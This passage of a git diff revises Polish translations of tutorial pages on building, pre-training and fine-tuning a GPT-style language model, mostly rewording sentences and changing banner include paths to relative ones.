- **`scale` i `shift`:** Uczące się parametry (`nn.Parameter`), które pozwalają modelowi na skalowanie i przesuwanie znormalizowanego wyjścia. Są inicjowane odpowiednio do jedynek i zer.
-- **Proces normalizacji:**
-- **Obliczanie średniej (`mean`):** Oblicza średnią z wejścia `x` wzdłuż wymiaru osadzenia (`dim=-1`), zachowując wymiar do rozprzestrzeniania (`keepdim=True`).
-- **Obliczanie wariancji (`var`):** Oblicza wariancję `x` wzdłuż wymiaru osadzenia, również zachowując wymiar. Parametr `unbiased=False` zapewnia, że wariancja jest obliczana przy użyciu obciążonego estymatora (dzieląc przez `N` zamiast `N-1`), co jest odpowiednie przy normalizacji wzdłuż cech, a nie próbek.
+- **Proces Normalizacji:**
+- **Obliczanie Średniej (`mean`):** Oblicza średnią z wejścia `x` wzdłuż wymiaru osadzenia (`dim=-1`), zachowując wymiar do rozprzestrzeniania (`keepdim=True`).
+- **Obliczanie Wariancji (`var`):** Oblicza wariancję `x` wzdłuż wymiaru osadzenia, również zachowując wymiar. Parametr `unbiased=False` zapewnia, że wariancja jest obliczana przy użyciu obciążonego estymatora (dzieląc przez `N` zamiast `N-1`), co jest odpowiednie przy normalizacji wzdłuż cech, a nie próbek.
- **Normalizacja (`norm_x`):** Odejmuje średnią od `x` i dzieli przez pierwiastek kwadratowy z wariancji plus `eps`.
-- **Skalowanie i przesunięcie:** Zastosowuje uczące się parametry `scale` i `shift` do znormalizowanego wyjścia.
+- **Skalowanie i Przesunięcie:** Zastosowuje uczące się parametry `scale` i `shift` do znormalizowanego wyjścia.
> [!TIP]
> Celem jest zapewnienie średniej 0 z wariancją 1 we wszystkich wymiarach tego samego tokena. Celem tego jest **stabilizacja treningu głębokich sieci neuronowych** poprzez redukcję wewnętrznego przesunięcia kowariancji, które odnosi się do zmiany w rozkładzie aktywacji sieci z powodu aktualizacji parametrów podczas treningu.
@@ -371,10 +371,10 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
- **Dodaj Resztkę (`x + shortcut`):** Połącz z wejściem z pierwszej ścieżki resztkowej.
> [!TIP]
-> Blok transformatora grupuje wszystkie sieci razem i stosuje pewne **normalizacje** i **dropouty** w celu poprawy stabilności treningu i wyników.\
+> Blok transformatora grupuje wszystkie sieci razem i stosuje pewne **normalizacje** oraz **dropouty** w celu poprawy stabilności treningu i wyników.\
> Zauważ, że dropouty są stosowane po użyciu każdej sieci, podczas gdy normalizacja jest stosowana przed.
>
-> Ponadto, wykorzystuje również skróty, które polegają na **dodawaniu wyjścia sieci do jej wejścia**. Pomaga to zapobiegać problemowi znikającego gradientu, zapewniając, że początkowe warstwy przyczyniają się "tak samo" jak ostatnie.
+> Ponadto, używa również skrótów, które polegają na **dodawaniu wyjścia sieci do jej wejścia**. Pomaga to zapobiegać problemowi znikającego gradientu, zapewniając, że początkowe warstwy przyczyniają się "tak samo" jak ostatnie.
### **GPTModel**
@@ -435,20 +435,20 @@ return logits # Output shape: (batch_size, seq_len, vocab_size)
```
#### **Cel i funkcjonalność**
-- **Warstwy osadzeń:**
+- **Warstwy osadzenia:**
- **Osadzenia tokenów (`tok_emb`):** Konwertuje indeksy tokenów na osadzenia. Przypomnienie, są to wagi przypisane do każdego wymiaru każdego tokena w słowniku.
- **Osadzenia pozycyjne (`pos_emb`):** Dodaje informacje o pozycji do osadzeń, aby uchwycić kolejność tokenów. Przypomnienie, są to wagi przypisane do tokena zgodnie z jego pozycją w tekście.
- **Dropout (`drop_emb`):** Stosowane do osadzeń w celu regularyzacji.
-- **Bloki transformatorowe (`trf_blocks`):** Stos `n_layers` bloków transformatorowych do przetwarzania osadzeń.
+- **Bloki transformatora (`trf_blocks`):** Stos `n_layers` bloków transformatora do przetwarzania osadzeń.
- **Ostateczna normalizacja (`final_norm`):** Normalizacja warstwy przed warstwą wyjściową.
- **Warstwa wyjściowa (`out_head`):** Projekcja ostatecznych ukrytych stanów do rozmiaru słownika w celu wygenerowania logitów do predykcji.
> [!TIP]
> Celem tej klasy jest wykorzystanie wszystkich innych wspomnianych sieci do **przewidywania następnego tokena w sekwencji**, co jest fundamentalne dla zadań takich jak generowanie tekstu.
>
-> Zauważ, jak **użyje tylu bloków transformatorowych, ile wskazano** i że każdy blok transformatorowy wykorzystuje jedną sieć z wieloma głowicami uwagi, jedną sieć feed forward i kilka normalizacji. Więc jeśli użyto 12 bloków transformatorowych, pomnóż to przez 12.
+> Zauważ, jak **użyje tylu bloków transformatora, ile wskazano** i że każdy blok transformatora korzysta z jednej sieci z wieloma głowicami uwagi, jednej sieci feed forward i kilku normalizacji. Więc jeśli użyto 12 bloków transformatora, pomnóż to przez 12.
>
-> Ponadto, warstwa **normalizacji** jest dodawana **przed** **wyjściem** i na końcu stosowana jest ostateczna warstwa liniowa, aby uzyskać wyniki o odpowiednich wymiarach. Zauważ, że każdy ostateczny wektor ma rozmiar używanego słownika. Dzieje się tak, ponieważ próbuje uzyskać prawdopodobieństwo dla każdego możliwego tokena w słowniku.
+> Ponadto, warstwa **normalizacji** jest dodawana **przed** **wyjściem** i na końcu stosowana jest ostateczna warstwa liniowa, aby uzyskać wyniki o odpowiednich wymiarach. Zauważ, jak każdy ostateczny wektor ma rozmiar używanego słownika. Dzieje się tak, ponieważ próbuje uzyskać prawdopodobieństwo dla każdego możliwego tokena w słowniku.
## Liczba parametrów do wytrenowania
@@ -559,8 +559,8 @@ ff_params = 2,362,368 + 2,360,064 = 4,722,432
**c. Normalizacje warstw**
- **Składniki:**
-- Dwa wystąpienia `LayerNorm` na blok.
-- Każde `LayerNorm` ma `2 * emb_dim` parametrów (skala i przesunięcie).
+- Dwie instancje `LayerNorm` na blok.
+- Każda `LayerNorm` ma `2 * emb_dim` parametrów (skala i przesunięcie).
- **Obliczenia:**
```python
@@ -585,7 +585,7 @@ total_transformer_blocks_params = 7,085,568 * 12 = 85,026,816
```python
pythonCopy codefinal_layer_norm_params = 2 * 768 = 1,536
```
-**b. Warstwa Projekcji Wyjścia (`out_head`)**
+**b. Warstwa Projekcji Wyjściowej (`out_head`)**
- **Warstwa:** `nn.Linear(emb_dim, vocab_size, bias=False)`
- **Parametry:** `emb_dim * vocab_size`
@@ -610,7 +610,7 @@ total_params = 163,009,536
```
## Generowanie tekstu
-Mając model, który przewiduje następny token, jak ten wcześniej, wystarczy wziąć wartości ostatniego tokena z wyjścia (ponieważ będą to wartości przewidywanego tokena), które będą **wartością na wpis w słowniku**, a następnie użyć funkcji `softmax`, aby znormalizować wymiary do prawdopodobieństw, które sumują się do 1, a następnie uzyskać indeks największego wpisu, który będzie indeksem słowa w słowniku.
+Mając model, który przewiduje następny token jak poprzedni, wystarczy wziąć wartości ostatniego tokena z wyjścia (ponieważ będą to wartości przewidywanego tokena), które będą **wartością na wpis w słowniku**, a następnie użyć funkcji `softmax`, aby znormalizować wymiary do prawdopodobieństw, które sumują się do 1, a następnie uzyskać indeks największego wpisu, który będzie indeksem słowa w słowniku.
Kod z [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb):
```python
@@ -668,4 +668,4 @@ print("Output length:", len(out[0]))
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/AI/AI-llm-architecture/6.-pre-training-and-loading-models.md b/src/AI/AI-llm-architecture/6.-pre-training-and-loading-models.md
index 80de4b1af..800eca9ea 100644
--- a/src/AI/AI-llm-architecture/6.-pre-training-and-loading-models.md
+++ b/src/AI/AI-llm-architecture/6.-pre-training-and-loading-models.md
@@ -1,26 +1,26 @@
# 6. Pre-training & Loading models
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
## Generowanie tekstu
Aby wytrenować model, musimy, aby ten model był w stanie generować nowe tokeny. Następnie porównamy wygenerowane tokeny z oczekiwanymi, aby wytrenować model w **uczeniu się tokenów, które musi generować**.
-Jak w poprzednich przykładach, już przewidzieliśmy niektóre tokeny, możliwe jest ponowne wykorzystanie tej funkcji w tym celu.
+Jak w poprzednich przykładach, już przewidzieliśmy niektóre tokeny, więc możliwe jest ponowne wykorzystanie tej funkcji w tym celu.
> [!TIP]
> Celem tej szóstej fazy jest bardzo proste: **Wytrenuj model od podstaw**. W tym celu zostanie użyta poprzednia architektura LLM z pewnymi pętlami przechodzącymi przez zbiory danych, korzystając z zdefiniowanych funkcji straty i optymalizatora, aby wytrenować wszystkie parametry modelu.
## Ocena tekstu
-Aby przeprowadzić poprawne szkolenie, konieczne jest zmierzenie przewidywań uzyskanych dla oczekiwanego tokena. Celem szkolenia jest maksymalizacja prawdopodobieństwa poprawnego tokena, co wiąże się ze zwiększeniem jego prawdopodobieństwa w stosunku do innych tokenów.
+Aby przeprowadzić poprawne szkolenie, należy zmierzyć przewidywania uzyskane dla oczekiwanego tokena. Celem szkolenia jest maksymalizacja prawdopodobieństwa poprawnego tokena, co wiąże się ze zwiększeniem jego prawdopodobieństwa w stosunku do innych tokenów.
-Aby zmaksymalizować prawdopodobieństwo poprawnego tokena, wagi modelu muszą być zmodyfikowane, aby to prawdopodobieństwo było maksymalizowane. Aktualizacje wag są dokonywane za pomocą **backpropagation**. Wymaga to **funkcji straty do maksymalizacji**. W tym przypadku funkcją będzie **różnica między wykonaną prognozą a pożądaną**.
+Aby zmaksymalizować prawdopodobieństwo poprawnego tokena, wagi modelu muszą być modyfikowane, aby to prawdopodobieństwo było maksymalizowane. Aktualizacje wag są dokonywane za pomocą **backpropagation**. Wymaga to **funkcji straty do maksymalizacji**. W tym przypadku funkcją będzie **różnica między przewidywaniem a pożądanym tokenem**.
-Jednak zamiast pracować z surowymi prognozami, będzie pracować z logarytmem o podstawie n. Jeśli więc aktualna prognoza oczekiwanego tokena wynosiła 7.4541e-05, logarytm naturalny (podstawa *e*) z **7.4541e-05** wynosi około **-9.5042**.\
-Następnie, dla każdego wpisu z długością kontekstu 5 tokenów, model będzie musiał przewidzieć 5 tokenów, przy czym pierwsze 4 tokeny to ostatni token wejściowy, a piąty to przewidywany. Dlatego dla każdego wpisu będziemy mieli 5 prognoz w tym przypadku (nawet jeśli pierwsze 4 były w wejściu, model o tym nie wie) z 5 oczekiwanymi tokenami i w związku z tym 5 prawdopodobieństw do maksymalizacji.
+Jednak zamiast pracować z surowymi przewidywaniami, będzie pracować z logarytmem o podstawie n. Jeśli więc bieżące przewidywanie oczekiwanego tokena wynosiło 7.4541e-05, logarytm naturalny (podstawa *e*) z **7.4541e-05** wynosi około **-9.5042**.\
+Następnie, dla każdego wpisu z długością kontekstu 5 tokenów, model będzie musiał przewidzieć 5 tokenów, przy czym pierwsze 4 tokeny to ostatni token wejściowy, a piąty to przewidywany. Dlatego dla każdego wpisu będziemy mieli 5 przewidywań w tym przypadku (nawet jeśli pierwsze 4 były w wejściu, model o tym nie wie) z 5 oczekiwanymi tokenami i w związku z tym 5 prawdopodobieństw do maksymalizacji.
-Dlatego po wykonaniu logarytmu naturalnego dla każdej prognozy, obliczana jest **średnia**, **symbol minus usuwany** (nazywa się to _cross entropy loss_) i to jest **liczba, którą należy zredukować jak najbliżej 0** ponieważ logarytm naturalny z 1 to 0:
+Dlatego po wykonaniu logarytmu naturalnego dla każdego przewidywania, obliczana jest **średnia**, **symbol minus usuwany** (nazywa się to _cross entropy loss_) i to jest **liczba, którą należy zredukować jak najbliżej 0** ponieważ logarytm naturalny z 1 to 0:
@@ -29,7 +29,7 @@ Na przykład, wartość perplexity wynosząca 48725 oznacza, że gdy trzeba prze
## Przykład wstępnego treningu
-To jest początkowy kod zaproponowany w [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb) czasami nieco zmodyfikowany
+To jest początkowy kod zaproponowany w [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb) czasami nieco zmodyfikowany.
@@ -529,7 +529,7 @@ torch.save({
```
### Funkcje do transformacji tekstu <--> id
-To są proste funkcje, które mogą być używane do transformacji tekstów ze słownika na id i odwrotnie. Jest to potrzebne na początku przetwarzania tekstu oraz na końcu prognozowania:
+To są proste funkcje, które można wykorzystać do transformacji tekstów ze słownika na id i odwrotnie. Jest to potrzebne na początku przetwarzania tekstu oraz na końcu prognozowania:
```python
# Functions to transform from tokens to ids and from to ids to tokens
def text_to_token_ids(text, tokenizer):
@@ -547,10 +547,10 @@ W poprzedniej sekcji funkcja, która po prostu uzyskiwała **najbardziej prawdop
Poniższa funkcja `generate_text` zastosuje koncepcje `top-k`, `temperature` i `multinomial`.
-- **`top-k`** oznacza, że zaczniemy redukować do `-inf` wszystkie prawdopodobieństwa wszystkich tokenów, z wyjątkiem top k tokenów. Więc, jeśli k=3, przed podjęciem decyzji tylko 3 najbardziej prawdopodobne tokeny będą miały prawdopodobieństwo różne od `-inf`.
-- **`temperature`** oznacza, że każde prawdopodobieństwo będzie dzielone przez wartość temperatury. Wartość `0.1` poprawi najwyższe prawdopodobieństwo w porównaniu do najniższego, podczas gdy temperatura `5`, na przykład, uczyni je bardziej płaskimi. To pomaga poprawić różnorodność odpowiedzi, którą chcielibyśmy, aby LLM miało.
+- **`top-k`** oznacza, że zaczniemy redukować do `-inf` wszystkie prawdopodobieństwa wszystkich tokenów, z wyjątkiem najlepszych k tokenów. Więc, jeśli k=3, przed podjęciem decyzji tylko 3 najbardziej prawdopodobne tokeny będą miały prawdopodobieństwo różne od `-inf`.
+- **`temperature`** oznacza, że każde prawdopodobieństwo będzie dzielone przez wartość temperatury. Wartość `0.1` poprawi najwyższe prawdopodobieństwo w porównaniu do najniższego, podczas gdy temperatura `5`, na przykład, uczyni je bardziej płaskimi. To pomaga poprawić zmienność w odpowiedziach, którą chcielibyśmy, aby LLM miało.
- Po zastosowaniu temperatury, funkcja **`softmax`** jest ponownie stosowana, aby wszystkie pozostałe tokeny miały łączne prawdopodobieństwo równe 1.
-- Na koniec, zamiast wybierać token z największym prawdopodobieństwem, funkcja **`multinomial`** jest stosowana do **przewidywania następnego tokenu zgodnie z ostatecznymi prawdopodobieństwami**. Więc jeśli token 1 miał 70% prawdopodobieństwa, token 2 20% a token 3 10%, 70% razy zostanie wybrany token 1, 20% razy będzie to token 2, a 10% razy będzie to token 3.
+- Na koniec, zamiast wybierać token z największym prawdopodobieństwem, funkcja **`multinomial`** jest stosowana do **przewidywania następnego tokenu zgodnie z ostatecznymi prawdopodobieństwami**. Więc jeśli token 1 miał 70% prawdopodobieństwa, token 2 20% i token 3 10%, 70% razy zostanie wybrany token 1, 20% razy będzie to token 2, a 10% razy będzie to token 3.
```python
# Generate text function
def generate_text(model, idx, max_new_tokens, context_size, temperature=0.0, top_k=None, eos_id=None):
@@ -657,7 +657,7 @@ Główne różnice dotyczą danych używanych przez każdy z nich, a walidatorzy
Również fakt, że **krok jest tak duży jak długość kontekstu**, oznacza, że nie będzie nakładania się kontekstów używanych do trenowania danych (zmniejsza nadmierne dopasowanie, ale także zestaw danych treningowych).
-Ponadto zauważ, że rozmiar partii w tym przypadku wynosi 2, aby podzielić dane na 2 partie, a głównym celem tego jest umożliwienie przetwarzania równoległego i zmniejszenie zużycia na partię.
+Ponadto zauważ, że rozmiar partii w tym przypadku wynosi 2, aby podzielić dane na 2 partie, a głównym celem tego jest umożliwienie równoległego przetwarzania i zmniejszenie zużycia na partię.
```python
train_ratio = 0.90
split_idx = int(train_ratio * len(text_data))
@@ -686,7 +686,7 @@ shuffle=False,
num_workers=0
)
```
-## Kontrole sanity
+## Sanity Checks
Celem jest sprawdzenie, czy jest wystarczająco dużo tokenów do treningu, czy kształty są zgodne z oczekiwaniami oraz uzyskanie informacji o liczbie tokenów użytych do treningu i walidacji:
```python
@@ -721,7 +721,7 @@ print("Training tokens:", train_tokens)
print("Validation tokens:", val_tokens)
print("All tokens:", train_tokens + val_tokens)
```
-### Wybór urządzenia do treningu i wstępnych obliczeń
+### Wybierz urządzenie do treningu i wstępnych obliczeń
Następujący kod po prostu wybiera urządzenie do użycia i oblicza stratę treningową oraz stratę walidacyjną (bez wcześniejszego trenowania czegokolwiek) jako punkt wyjścia.
```python
@@ -761,7 +761,7 @@ Następnie duża funkcja `train_model_simple` to ta, która faktycznie trenuje m
- **optymalizatora** do użycia podczas treningu: To jest funkcja, która wykorzysta gradienty i zaktualizuje parametry, aby zredukować stratę. W tym przypadku, jak zobaczysz, używany jest `AdamW`, ale jest wiele innych.
- `optimizer.zero_grad()` jest wywoływane, aby zresetować gradienty w każdej rundzie, aby ich nie akumulować.
- Parametr **`lr`** to **współczynnik uczenia**, który określa **rozmiar kroków** podejmowanych podczas procesu optymalizacji przy aktualizacji parametrów modelu. **Mniejszy** współczynnik uczenia oznacza, że optymalizator **dokona mniejszych aktualizacji** wag, co może prowadzić do bardziej **precyzyjnej** konwergencji, ale może **spowolnić** trening. **Większy** współczynnik uczenia może przyspieszyć trening, ale **ryzykuje przeskoczenie** minimum funkcji straty (**przeskoczenie** punktu, w którym funkcja straty jest zminimalizowana).
-- **Weight Decay** modyfikuje krok **obliczania straty**, dodając dodatkowy składnik, który penalizuje duże wagi. To zachęca optymalizator do znajdowania rozwiązań z mniejszymi wagami, równoważąc między dobrym dopasowaniem do danych a utrzymywaniem modelu prostym, zapobiegając nadmiernemu dopasowaniu w modelach uczenia maszynowego poprzez zniechęcanie modelu do przypisywania zbyt dużego znaczenia jakiejkolwiek pojedynczej cechy.
+- **Weight Decay** modyfikuje krok **obliczania straty**, dodając dodatkowy składnik, który penalizuje duże wagi. To zachęca optymalizator do znajdowania rozwiązań z mniejszymi wagami, równoważąc między dobrym dopasowaniem do danych a utrzymywaniem modelu prostym, zapobiegając nadmiernemu dopasowaniu w modelach uczenia maszynowego poprzez zniechęcanie modelu do przypisywania zbyt dużej wagi jakiejkolwiek pojedynczej cechy.
- Tradycyjne optymalizatory, takie jak SGD z regularyzacją L2, łączą weight decay z gradientem funkcji straty. Jednak **AdamW** (wariant optymalizatora Adam) oddziela weight decay od aktualizacji gradientu, co prowadzi do bardziej efektywnej regularyzacji.
- Urządzenie do użycia do treningu
- Liczba epok: Liczba razy, które należy przejść przez dane treningowe
@@ -830,9 +830,9 @@ print(decoded_text.replace("\n", " ")) # Compact print format
model.train() # Back to training model applying all the configurations
```
> [!TIP]
-> Aby poprawić współczynnik uczenia, istnieje kilka odpowiednich technik zwanych **linear warmup** i **cosine decay.**
+> Aby poprawić współczynnik uczenia, istnieje kilka istotnych technik zwanych **linear warmup** i **cosine decay.**
>
-> **Linear warmup** polega na zdefiniowaniu początkowego współczynnika uczenia i maksymalnego oraz konsekwentnym aktualizowaniu go po każdej epoce. Dzieje się tak, ponieważ rozpoczęcie treningu od mniejszych aktualizacji wag zmniejsza ryzyko, że model napotka duże, destabilizujące aktualizacje podczas fazy treningowej.\
+> **Linear warmup** polega na zdefiniowaniu początkowego współczynnika uczenia oraz maksymalnego i konsekwentnym aktualizowaniu go po każdej epoce. Dzieje się tak, ponieważ rozpoczęcie treningu od mniejszych aktualizacji wag zmniejsza ryzyko, że model napotka duże, destabilizujące aktualizacje podczas fazy treningowej.\
> **Cosine decay** to technika, która **stopniowo zmniejsza współczynnik uczenia** zgodnie z krzywą półcosinusoidalną **po fazie warmup**, spowalniając aktualizacje wag, aby **zminimalizować ryzyko przeskoczenia** minimów straty i zapewnić stabilność treningu w późniejszych fazach.
>
> _Zauważ, że te ulepszenia nie są uwzględnione w poprzednim kodzie._
@@ -943,4 +943,4 @@ Są 2 szybkie skrypty do lokalnego ładowania wag GPT2. W obu przypadkach możes
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md b/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md
index 8bb66f699..a53ec7e79 100644
--- a/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md
+++ b/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md
@@ -1,6 +1,6 @@
# 7.0. Ulepszenia LoRA w dostrajaniu
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
## Ulepszenia LoRA
@@ -16,10 +16,10 @@ LoRA umożliwia efektywne dostrajanie **dużych modeli** poprzez zmianę tylko *
2. **Zachowuje oryginalne wagi modelu bez zmian**: LoRA pozwala na zachowanie oryginalnych wag modelu, a jedynie aktualizuje **nowe małe macierze** (A i B). Jest to pomocne, ponieważ oznacza, że oryginalna wiedza modelu jest zachowana, a ty tylko dostosowujesz to, co konieczne.
-3. **Efektywne dostrajanie specyficzne dla zadania**: Gdy chcesz dostosować model do **nowego zadania**, możesz po prostu wytrenować **małe macierze LoRA** (A i B), pozostawiając resztę modelu w niezmienionej formie. To jest **znacznie bardziej efektywne** niż ponowne trenowanie całego modelu.
+3. **Efektywne dostrajanie specyficzne dla zadania**: Gdy chcesz dostosować model do **nowego zadania**, możesz po prostu trenować **małe macierze LoRA** (A i B), pozostawiając resztę modelu w niezmienionej formie. To jest **znacznie bardziej efektywne** niż ponowne trenowanie całego modelu.
4. **Efektywność przechowywania**: Po dostrojeniu, zamiast zapisywać **cały nowy model** dla każdego zadania, musisz tylko przechowywać **macierze LoRA**, które są bardzo małe w porównaniu do całego modelu. Ułatwia to dostosowanie modelu do wielu zadań bez użycia zbyt dużej ilości pamięci.
-Aby zaimplementować LoraLayers zamiast Linear podczas dostrajania, proponowany jest tutaj ten kod [https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb):
+Aby zaimplementować LoraLayers zamiast liniowych podczas dostrajania, proponowany jest tutaj ten kod [https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb):
```python
import math
@@ -62,4 +62,4 @@ replace_linear_with_lora(module, rank, alpha)
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md b/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md
index cfca2e504..058a26284 100644
--- a/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md
+++ b/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md
@@ -1,6 +1,6 @@
# 7.1. Dostosowywanie do klasyfikacji
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
## Czym jest
@@ -10,7 +10,7 @@ Dostosowywanie to proces, w którym bierze się **wstępnie wytrenowany model**,
> Ponieważ wstępne trenowanie LLM, który "rozumie" tekst, jest dość kosztowne, zazwyczaj łatwiej i taniej jest dostosować otwarte modele wstępnie wytrenowane do wykonywania konkretnego zadania, które chcemy, aby realizował.
> [!TIP]
-> Celem tej sekcji jest pokazanie, jak dostosować już wstępnie wytrenowany model, aby zamiast generować nowy tekst, LLM wybierał **prawdopodobieństwa przypisania danego tekstu do każdej z podanych kategorii** (na przykład, czy tekst jest spamem, czy nie).
+> Celem tej sekcji jest pokazanie, jak dostosować już wstępnie wytrenowany model, aby zamiast generować nowy tekst, LLM wybierał **prawdopodobieństwa, że dany tekst jest klasyfikowany w każdej z podanych kategorii** (na przykład, czy tekst jest spamem, czy nie).
## Przygotowanie zbioru danych
@@ -20,15 +20,15 @@ Oczywiście, aby dostosować model, potrzebujesz pewnych uporządkowanych danych
Ten zbiór danych zawiera znacznie więcej przykładów "nie spam" niż "spam", dlatego książka sugeruje, aby **używać tylko tylu przykładów "nie spam", co "spam"** (w związku z tym, usuwając z danych treningowych wszystkie dodatkowe przykłady). W tym przypadku było to 747 przykładów każdego.
-Następnie **70%** zbioru danych jest używane do **treningu**, **10%** do **walidacji**, a **20%** do **testowania**.
+Następnie **70%** zbioru danych jest używane do **treningu**, **10%** do **walidacji** i **20%** do **testowania**.
-- **Zbiór walidacyjny** jest używany podczas fazy treningu do dostosowywania **hiperparametrów** modelu i podejmowania decyzji dotyczących architektury modelu, skutecznie pomagając zapobiegać przeuczeniu, dostarczając informacji zwrotnej na temat tego, jak model radzi sobie z danymi, których nie widział. Umożliwia to iteracyjne poprawki bez wprowadzania stronniczości w końcowej ocenie.
-- Oznacza to, że chociaż dane zawarte w tym zbiorze danych nie są używane bezpośrednio do treningu, są używane do dostosowania najlepszych **hiperparametrów**, więc ten zbiór nie może być używany do oceny wydajności modelu, jak zbiór testowy.
-- W przeciwieństwie do tego, **zbiór testowy** jest używany **tylko po** tym, jak model został w pełni wytrenowany i wszystkie dostosowania są zakończone; zapewnia to obiektywną ocenę zdolności modelu do generalizacji na nowe, niewidziane dane. Ta końcowa ocena na zbiorze testowym daje realistyczne wskazanie, jak model ma się sprawować w rzeczywistych zastosowaniach.
+- **Zbiór walidacyjny** jest używany podczas fazy treningu do dostosowywania **hiperparametrów** modelu i podejmowania decyzji dotyczących architektury modelu, skutecznie pomagając zapobiegać przeuczeniu, dostarczając informacji zwrotnych na temat tego, jak model radzi sobie z nieznanymi danymi. Umożliwia to iteracyjne poprawki bez wprowadzania stronniczości w końcowej ocenie.
+- Oznacza to, że chociaż dane zawarte w tym zbiorze danych nie są używane bezpośrednio do treningu, są używane do dostosowania najlepszych **hiperparametrów**, więc ten zbiór nie może być użyty do oceny wydajności modelu, jak zbiór testowy.
+- W przeciwieństwie do tego, **zbiór testowy** jest używany **tylko po** pełnym wytrenowaniu modelu i zakończeniu wszystkich dostosowań; zapewnia bezstronną ocenę zdolności modelu do generalizacji na nowe, nieznane dane. Ta końcowa ocena na zbiorze testowym daje realistyczne wskazanie, jak model ma się sprawować w rzeczywistych zastosowaniach.
### Długość wpisów
-Ponieważ przykład treningowy oczekuje wpisów (tekstów e-maili w tym przypadku) o tej samej długości, zdecydowano się, aby każdy wpis był tak duży, jak największy, dodając identyfikatory `<|endoftext|>` jako wypełnienie.
+Ponieważ przykład treningowy oczekuje wpisów (tekstów e-maili w tym przypadku) o tej samej długości, zdecydowano się uczynić każdy wpis tak dużym, jak największy, dodając identyfikatory `<|endoftext|>` jako wypełnienie.
### Inicjalizacja modelu
@@ -36,7 +36,7 @@ Używając otwartych, wstępnie wytrenowanych wag, inicjalizuj model do treningu
## Głowa klasyfikacji
-W tym konkretnym przykładzie (przewidywanie, czy tekst jest spamem, czy nie) nie interesuje nas dostosowywanie zgodnie z pełnym słownictwem GPT2, ale chcemy, aby nowy model tylko określał, czy e-mail jest spamem (1), czy nie (0). Dlatego zamierzamy **zmodyfikować ostatnią warstwę**, która podaje prawdopodobieństwa dla tokenów słownictwa, na taką, która podaje tylko prawdopodobieństwa bycia spamem lub nie (więc jak słownictwo składające się z 2 słów).
+W tym konkretnym przykładzie (przewidywanie, czy tekst jest spamem, czy nie) nie interesuje nas dostosowywanie zgodnie z pełnym słownictwem GPT2, ale chcemy, aby nowy model tylko określał, czy e-mail jest spamem (1), czy nie (0). Dlatego zamierzamy **zmodyfikować ostatnią warstwę, która** podaje prawdopodobieństwa dla tokenów słownictwa na taką, która podaje tylko prawdopodobieństwa bycia spamem lub nie (więc jakby słownictwo składające się z 2 słów).
```python
# This code modified the final layer with a Linear one with 2 outs
num_classes = 2
@@ -105,10 +105,10 @@ Zauważ, że dla każdej partii interesują nas tylko **logity ostatniego przewi
## Pełny kod klasyfikacji fine-tune GPT2
-Możesz znaleźć cały kod do fine-tune GPT2 jako klasyfikatora spamu w [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb)
+Możesz znaleźć cały kod do fine-tuningu GPT2 jako klasyfikatora spamu w [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb)
## Odniesienia
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md b/src/AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md
index f604937ec..5a6103090 100644
--- a/src/AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md
+++ b/src/AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md
@@ -1,6 +1,6 @@
# 7.2. Dostosowywanie do przestrzegania instrukcji
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
> [!TIP]
> Celem tej sekcji jest pokazanie, jak **dostosować już wstępnie wytrenowany model do przestrzegania instrukcji**, a nie tylko generowania tekstu, na przykład odpowiadając na zadania jako chatbot.
@@ -9,7 +9,7 @@
